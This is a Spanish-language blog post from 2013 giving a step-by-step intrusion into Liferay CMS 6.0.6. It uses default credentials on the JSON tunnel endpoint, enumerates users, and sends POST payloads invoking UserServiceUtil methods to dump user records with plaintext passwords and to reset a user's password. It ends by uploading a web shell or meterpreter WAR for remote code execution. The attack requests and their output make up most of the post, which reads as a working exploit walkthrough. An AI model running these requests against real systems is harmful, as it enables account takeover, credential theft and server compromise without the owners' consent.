viernes, 25 de enero de 2013

Hacking LifeRay CMS

En este articulo veremos como realizar una intrusión en el CMS LifeRay.

Para ello lo primero es entender como funciona LifeRay.

Liferay se trata de un gestor de contenidos como podría ser Joomla o Drupal solo que éste está realizado en JSP y se instala en un servidor tomcat, jboss, glashfish o similar. De esta manera la manera de atacar es algo distinta a lo que estamos acostumbrados.

La versión que hemos testeado es la última disponible en la web oficial de LifeRay de la rama 6.0, en nuestro caso la versión 6.0.6. 

Lo primero que debemos probar son las contraseñas que se se encuentran creadas por defecto desde la versión 5.2.x por lo que si el administrador ha tenido un descuido, podremos acceder con alguna de las siguientes cuentas:


Además es posible enumerar los usuarios registrados en LifeRay al menos de dos maneras distintas:
La primera es utilizando la siguiente ruta: http://localhost:8080/documents/USERNAME.
Si el usuario existe mostrara una pagina de NOT FOUND:


 Y si el usuario existe mostrará un FORBIDDEN:

Por otro lado también es posible realizar una enumeración usando la función de recordar contraseña. ¿Como se hace login en LifeRay? Pues a través de la siguiente ruta:

http://192.168.1.65:8080/c/portal/login

Accedemos a la URL http://192.168.1.65:8080/tunnel-web/secure/json y nos saldrá una autenticación básica que por defecto es 2:test. Si vemos una pantalla en blanco en lugar de pedirnos repetidas veces la contraseña entonces tenemos un liferay vulnerable (por defecto lo es)
En ese enlace aparece la opción de recordar contraseña y el login del usuario.De todas maneras vamos a ver lo chulo de verdad¡¡ A por ejemplo extraer los usuarios registrados en LifeRay aunque como veremos podemos hacer muchas cosas.El fallo radica en una "contraseña débil" Como no¡. Pero bueno la manera de explotarlo es algo distinta a lo que estamos acostumbrados a ver por ahí como veremos ahora. 

Posteriormente lo que haremos sera realizar una petición por post por ejemplo con el plugin hack-bar de firefox con los siguiente parámetros.

serviceClassName=com.liferay.portal.service.UserServiceUtil&serviceMethodName=getUserById&serviceParameters=[userId]&userId=5

Ahora bien:
serviceClassName.- Esto es la clase java a la que haremos referencia.
serviceMethodName.- El método de la clase que queremos invocar
serviceParameters.- Estos son los parámetros que tiene la clase 

Y posteriormente se le van dando valor a cada uno de ellos.
¿Que podemos hacer? Mirar el JavaDoc de Liferay publico y disponible en:
http://docs.liferay.com/portal/6.0/javadocs/


 Utilizando este método es posible obtener un usuario según un id 
El siguiente paso es usar el intruder de Burp para sacar todos los usuarios y clave. No nos podemos motivar aunque en este caso la contraseña este en texto plano lo normal es encontrarla cifrada o con un hash SHA1
Hemos obtenidos dos usuarios el numero 2 y el 5 y estos son sus datos:

{"portraitId":0,"agreedToTermsOfUse":false,"passwordEncrypted":false,"screenNa
me":"joebloggs","facebookId":0,"reminderQueryAnswer":"","digest":"e5d86c6f3672
e52795891c3597f20de0,2807c2fb6170beadb14da631fdbd9814,c8aa9acf9e315e4347db2de5
813c1014","password":"test","passwordReset":false,"defaultUser":false,"lastFai
ledLoginDate":"","userId":2,"passwordModifiedDate":"","loginDate":"1298644602874"
,"lockoutDate":"","createDate":"1298644602874","firstName":"Joe","jobTitle":"",
"middleName":"","lastName":"Bloggs","lastLoginDate":"","greeting":"Welcome Joe B
loggs!","reminderQueryQuestion":"","emailAddress":"test@liferay.com","lockout":
false,"languageId":"en_US","modifiedDate":"1298644602874","lastLoginIP":"","con
tactId":3,"failedLoginAttempts":0,"loginIP":"","active":true,"graceLoginCount":0,
"companyId":1,"uuid":"","comments":"","openId":"","timeZoneId":"UTC"}

{"portraitId":0,"agreedToTermsOfUse":true,"passwordEncrypted":false,"screenName"
:"5","facebookId":0,"reminderQueryAnswer":"","digest":"5533ed38b5e33c076a804bb4
bca644f9,7459f1a1a217442c03cfeca06b874d6c,7459f1a1a217442c03cfeca06b874d6c","pa
ssword":"password","passwordReset":false,"defaultUser":true,"lastFailedLoginDat
e":"","userId":5,"passwordModifiedDate":"","loginDate":"1298644602874","lockout
Date":"","createDate":"1298644602874","firstName":"","jobTitle":"","middleName"
:"","lastName":"","lastLoginDate":"","greeting":"Welcome!","reminderQueryQuest
ion":"","emailAddress":"default@liferay.com","lockout":false,"languageId":"en_
US","modifiedDate":"1298644602874","lastLoginIP":"","contactId":6,"failedLogin
Attempts":0,"loginIP":"","active":true,"graceLoginCount":0,"companyId":1,"uuid"
:"","comments":"","openId":"","timeZoneId":"UTC"}

Si queremos ver estos datos de una manera más elegante podemos usar json-viewer en la url: http://jsonviewer.stack.hu/


Otra petición interesante puede ser el conseguir modificar la clave de acceso de un usuario si por ejemplo no la conociéramos.

Realizamos la siguiente petición por post al mismo recurso pero con los siguiente parámetros para cambiar la contraseña del usuario:

serviceClassName=com.liferay.portal.service.UserServiceUtil&serviceMethodName=updatePassword&serviceParameters=[userId, password1, password2, passwordReset]&userId=5&password1=realpentesting&password2=realpentesting&passwordReset=true

Que como vemos devuelve los siguientes datos con el password modificado:

{"portraitId":0,"agreedToTermsOfUse":true,"passwordEncrypted":true,"screenName":
"5","facebookId":0,"reminderQueryAnswer":"","digest":"5533ed38b5e33c076a804bb4bc
a644f9,7459f1a1a217442c03cfeca06b874d6c,7459f1a1a217442c03cfeca06b874d6c",
"password":"zAWPKWAhed3H10KfGXjYkR8Wx74=","passwordReset":true,"defaultUser":
true,"lastFailedLoginDate":"","userId":5,"passwordModifiedDate":"1359170213921"
,"loginDate":"1298644602874","lockoutDate":"","createDate":"1298644602874","fir
stName":"","jobTitle":"","middleName":"","lastName":"","lastLoginDate":"","greet
ing":"Welcome!","reminderQueryQuestion":"","emailAddress":"default@liferay.com",
"lockout":false,"languageId":"en_US","modifiedDate":"1298644602874","lastLoginIP"
:"","contactId":6,"failedLoginAttempts":0,"loginIP":"","active":true,"graceLoginC
ount":0,"companyId":1,"uuid":"7b8cf744-3b1e-41a8-9f46-23effec314b4","comments":""
,"openId":"","timeZoneId":"UTC"}

Con este usuario nos logueamos en el portal de liferay y subimos una shell de la siguiente manera:

Vamos a la parte de subir plugins y podemos subir cualquier war, un meterpreter, o en mi caso voy a subir una web shell.

Por último ya tenemos conexión inversa y ejecución remota de código.

No hay comentarios:

Publicar un comentario